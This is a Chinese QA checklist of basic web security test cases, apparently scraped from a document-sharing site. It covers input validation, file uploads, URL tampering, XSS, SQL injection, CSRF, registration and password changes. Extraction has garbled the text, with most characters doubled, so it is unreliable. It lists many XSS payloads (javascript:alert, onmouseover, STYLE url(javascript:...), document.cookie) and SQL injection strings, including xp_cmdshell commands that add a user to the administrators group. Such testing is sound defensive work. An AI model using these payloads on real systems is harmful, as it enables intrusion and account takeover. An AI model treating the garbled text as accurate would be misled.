WEB安全性测试测试用例(基础)4971.docx
![资源得分’ title=](/images/score_1.gif)
![资源得分’ title=](/images/score_1.gif)
![资源得分’ title=](/images/score_1.gif)
![资源得分’ title=](/images/score_1.gif)
![资源得分’ title=](/images/score_05.gif)
《WEB安全性测试测试用例(基础)4971.docx》由会员分享,可在线阅读,更多相关《WEB安全性测试测试用例(基础)4971.docx(21页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、建立整体体的威胁胁模型,测测试溢出出漏洞、信信息泄漏漏、错误误处理、SQL 注入、身份验证和授权错误.1. 输入验证证客户端验验证服务务器端验验证(禁禁用脚本本调试,禁禁用Coookiies)1.输入入很大的的数(如如4,2294,9677,2669),输输入很小小的数(负数)2.输入入超长字字符,如对输输入文字字长度有有限制,则尝试试超过限限制,刚好到到达限制制字数时时有何反反应3.输入入特殊字字符,如:!#$%&*()_+:”|4.输入入中英文文空格,输输入字符符串中间间含空格格,输入入首尾空空格5.输入入特殊字字符串NNULLL,nuull,0x00d 00x0aa6.输入入正常字字符串
2、7.输入入与要求求不同类类型的字字符,如如: 要求求输入数数字则检检查正值值,负值,零值(正正零,负负零),小数,字母,空值; 要求输输入字母母则检查查输入数数字8.输入入htmml和javvasccrippt代码码9.对于于像回答答数这样样需检验验数字正正确性的的测试点点,不仅仅对比其其与问题题最终页页的回答答数,还还要对回回答进行行添加删删除等操操作后查查看变化化例如:1.输入入”gfhhd,看是否否出错;2.输入入,看是否否出现文文本框;3.输入入allertt(“提示”)看是是否出现现提示。关于上传传:1.上传传文件是是否有格格式限制制,是否可可以上传传exee文件;2.上传传文件是是
3、否有大大小限制制,上传太太大的文文件是否否导致异异常错误误,上传传0K的的文件是是否会导导致异常常错误,上传并并不存在在的文件件是否会会导致异异常错误误;3.通过过修改扩扩展名的的方式是是否可以以绕过格格式限制制,是否否可以通通过压包包方式绕绕过格式式限制;4.是否否有上传传空间的的限制,是否可可以超过过空间所所限制的的大小,如将超超过空间间的大文文件拆分分上传是是否会出出现异常常错误。5.上传传文件大大小大于于本地剩剩余空间间大小,是是否会出出现异常常错误。6.关于于上传是是否成功功的判断断。上传传过程中中,中断断。程序序是否判判断上传传是否成成功。7.对于于文件名名中带有有中文字字符,特特
4、殊字符符等的文文件上传传。下载:1. 避免输入入:.wweb.2. 修改命名名后缀。关于URRL:1.某些些需登录录后或特特殊用户户才能进进入的页页面,是否可可以通过过直接输输入网址址的方式式进入;2.对于于带参数数的网址址,恶意修修改其参参数,(若为数数字,则输入入字母,或很大大的数字字,或输入入特殊字字符等)后打开开网址是是否出错错,是否可可以非法法进入某某些页面面;3.搜索索页面等等urll中含有有关键字字的,输入httml代代码或JJavaaScrriptt看是否否在页面面中显示示或执行行。4.输入入善意字字符。UBB:urll=htttp:/wwww.*.ccom 你的的网站/urr
5、l1.试着着用各种种方式输输入UBBB代码码,比如代代码不完完整,代码嵌嵌套等等等.2.在UUBB代代码中加加入属性性,如样式式,事件等等属性,看是否否起作用用3.输入入编辑器器中不存存在的UUBB代代码,看是否否起作用用urll=jaavasscriipt:aleert(heelloo)链接/urllemaail=javvasccrippt:aalerrt(helllo)EEMaiil/emaailemaail=yanngtaaon STTYLEE=bbackkgrooundd-immagee: uurl(javvasccrippt:aalerrt(XSSS)yyanggtaoo/emmai
6、llimgghtttp:/ styyle=baackggrouund-imaage:urll(jaavasscriipt:aleert(allertt(xsss)/iimgimgghtttp:/ oonmoouseeoveer=aalerrt(helllo);/iimgb SSTYLLE=bacckgrrounnd-iimagge: urll(jaavasscriipt:aleert(XSSS)一首诗诗酸涩涩涩服务网网/bbi SSTYLLE=bacckgrrounnd-iimagge: urll(jaavasscriipt:aleert(XSSS)一二三三四五六六七北京京市/iu一一二三四四
7、五六七七北京市市/uufonnt=微微软雅黑黑 SSTYLLE=bacckgrrounnd-iimagge: urll(jaavasscriipt:aleert(XSSS)一二三三四五六六七北京京市/fonntsizze=44 SSTYLLE=bacckgrrounnd-iimagge: urll(jaavasscriipt:aleert(XSSS)一二三三四五六六七北京京市/sizzecollor=Redd SSTYLLE=bacckgrrounnd-iimagge: urll(jaavasscriipt:aleert(XSSS)一二三三四五六六七北京京市/colloraliign=cenn
8、terr SSTYLLE=bacckgrrounnd-iimagge: urll(jaavasscriipt:aleert(XSSS)一二三三四五六六七北京京市/aliignflooat=lefft STYYLE=baackggrouund-imaage: urrl(jjavaascrriptt:allertt(XXSS)一二二三四五五六七北北京市/flloattfonnt=微微软雅黑黑 STTYLEE=bbackkgrooundd-immagee: uurl(javvasccrippt:aalerrt(XSSS)一一二三四四五六七七北京市市/ffonttsizze=44 STTYLEE=bb
9、ackkgrooundd-immagee: uurl(javvasccrippt:aalerrt(XSSS)一一二三四四五六七七北京市市/ssizeecollor=Redd STTYLEE=bbackkgrooundd-immagee: uurl(javvasccrippt:aalerrt(XSSS)一一二三四四五六七七北京市市/ccolooraliign=cennterr STTYLEE=bbackkgrooundd-immagee: uurl(javvasccrippt:aalerrt(XSSS)一一二三四四五六七七北京市市/aaliggnlisst=11*一一二三四四五六七七北京市市/l
10、listtinddentt一二二三四五五六七北北京市/inndenntflooat=lefft SSTYLLE=bacckgrrounnd-iimagge: urll(jaavasscriipt:aleert(XSSS)一二三三四五六六七北京京市/flooatmeddia=ra,4000,3000,00htttp:/bbbsfforbblogg.ikkakaa.coom/ppostttoppic.asppx?fforuumidd=1009/meddia2. 输出编码码常用的测测试输入入语句有有:inpput/ allertt(hhelllo);1.jppg onmmousseovver=all
11、ertt(xxss)allertt(xsss);httpp:/xxxx;aalerrt(xsss);varr/ aa=aa”xxss&a=” ; b=”;allertt(/xxss/);/”“”“”“”“”titlle=”对输出数数据到输输出数据据的对比比,看是是否出现现问题。3. 防止SQQL注入入Admiin-or -andd ( ) exxec iinseert * % chhr miid and11=1;And 11=1; aNNd 11=1 ; chhar(97)chaar(1110)chaar(1100) chhar(49)chaar(661)ccharr(499) ; %20AA
12、ND%2011=2andd 1=1 ; Andd 11=1 ; aNdd 1=11 ;and 1=22 ; andd 1=2and 2=22and useer00and (seelecct ccounnt(*) ffromm syysobbjeccts)0and (seelecct ccounnt(*) ffromm mssysoobjeectss)00and (Seelecct CCounnt(*) ffromm Addminn)=0and (seelecct ttop 1 llen(useernaame) frrom Admmin)0(useernaame 已知字字段);exeec mma
13、stter.xpp_cmmdshhelll “nnet useer nnamee paasswwordd /aadd”;exeec mmastter.xpp_cmmdshhelll “nnet loccalggrouup nnamee addminnisttrattorss /aadd”and 0(seelecct ccounnt(*) ffromm addminn)简单的如如wheere xtyype=U,字符符U对应应的ASSCIII码是885,所所以可以以用whheree xttypee=chhar(85)代替;如果字字符是中中文的,比比如whheree naame=用户户,可可以用ww
14、herre nnamee=nccharr(2999922)+nnchaar(2251443)代代替。4. 跨站脚本本攻击(XXSS)对于 XXSS,只只需检查查 HTTML 输出并并看看您您输入的的内容在在什么地地方。它它在一个个 HRREF 标记中中吗?是是否在 IFRRAMEE 标记记中?它它在 CCLSIID 标标记中吗吗?在 IMGG SRRC 中中吗?某某些 FFlassh 内内容的 PARRAM NAMME 是是怎样的的?!#$%&*()_+,./?;-%3CCinpput /%33E%3CCscrriptt%3EEaleert(XSSS)%3CC/sccrippt%33Einnp
15、utt/ aalerrt(xsss)aalerrt(xsss);aalerrt(xsss)javvasccrippt:aalerrt(/xsss/)javvasccrippќɌaleert(/xsss/) =aalerrt(ddocuumennt.ccookkie) 1.jjpg onnmouuseooverr=aalerrt(xsss)aalerrt(xsss);htttp:/xxxx;aleert(xsss);vaar/ a=a”xsss&aleert(XSSS)%222%227AK%22%20sstylle%33D%222baackggrouund:urll(jaava
16、sscriipt:aleert(%277XSSS%277)%22%20OOS%222%222%2BBaleert(%277XSSS%277)%22B%222a?allertt(VVulnneraablee)&:var froom = $!ruundaata.Parrameeterrs.ggetSStriing(frrom);vaar ffromm = ”;hhackkerFFuncctioon(ddocuumennt.ccookkie);”;httpp:/seaarchhboxx.maapbaar.ccom/pubblissh/ttempplatte/ttempplatte10010/?CII
17、D=qqinggke&tidd=tiid10010&cittyNaame=天津allertt(hhelllo)&niid=MMAPBBXITTBJRRQMYYWJRRXPCCBX5. 跨站请求求伪造(CCSRFF)同个浏览览器打开开两个页页面,一一个页面面权限失失效后,另另一个页页面是否否可操作作成功。当页面没没有CHHECKKCODDE时,查查看页面面源代码码,查是是是否有有tokken。如如果页面面完全是是展示页页面,是是不会有有tokken的的。一、 用户注册册只从用户户名和密密码角度度写了几几个要考考虑的测测试点,如如果需求求中明确确规定了了安全问问题,EEmaiil,出出生日期期,地
18、址址,性别别等等一一系列的的格式和和字符要要求,那那就都要要写用例例测了以等价类类划分和和边界值值法来分分析1.填写写符合要要求的数数据注册册: 用用户名字字和密码码都为最最大长度度(边界界值分析析,取上上点)2.填写写符合要要求的数数据注册册 :用用户名字字和密码码都为最最小长度度(边界界值分析析,取上上点)3.填写写符合要要求的数数据注册册:用户户名字和和密码都都是非最最大和最最小长度度的数据据(边界界值分析析,取内内点)4.必填填项分别别为空注注册5.用户户名长度度大于要要求注册册1位(边边界值分分析,取取离点)6.用户户名长度度小于要要求注册册1位(边边界值分分析,取取离点)7.密码码
19、长度大大于要求求注册11位(边边界值分分析,取取离点)8.密码码长度小小于要求求注册11位(边边界值分分析,取取离点)9.用户户名是不不符合要要求的字字符注册册(这个个可以划划分几个个无效的的等价类类,一般般写一两两个就行行了,如如含有空空格,#等,看看需求是是否允许许吧)10.密密码是不不符合要要求的字字符注册册(这个个可以划划分几个个无效的的等价类类,一般般写一两两个就行行了)11.两两次输入入密码不不一致(如如果注册册时候要要输入两两次密码码,那么么这个是是必须的的)12.重重新注册册存在的的用户13.改改变存在在的用户户的用户户名和密密码的大大小写,来来注册。(有有的需求求是区分分大小
20、写写,有的的不区分分)14.看看是否支支持taap和eenteer键等等;密码码是否可可以复制制粘贴;密码是是否以* 之类类的加秘秘符号显显示备注:边边界值的的上点、内内点和离离点大家家应该都都知道吧吧,呵呵呵,这里里我就不不细说了了二、 修改密码码当然具体体情况具具体分析析哈不不能一概概而论实际测试试中可能能只用到到其中几几条而已已,比如如银行卡卡密码的的修改,就就不用考考虑英文文和非法法字符,更更不用考考虑那些些之类的的快捷键键。而有有的需要要根据需需求具体体分析了了,比如如连续出出错多少少次出现现的提示示,和一一些软件件修改密密码要求求一定时时间内有有一定的的修改次次数限制制等等。1.不
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- WEB 安全性 测试 基础 4971
![提示](https://www.taowenge.com/images/bang_tan.gif)
限制150内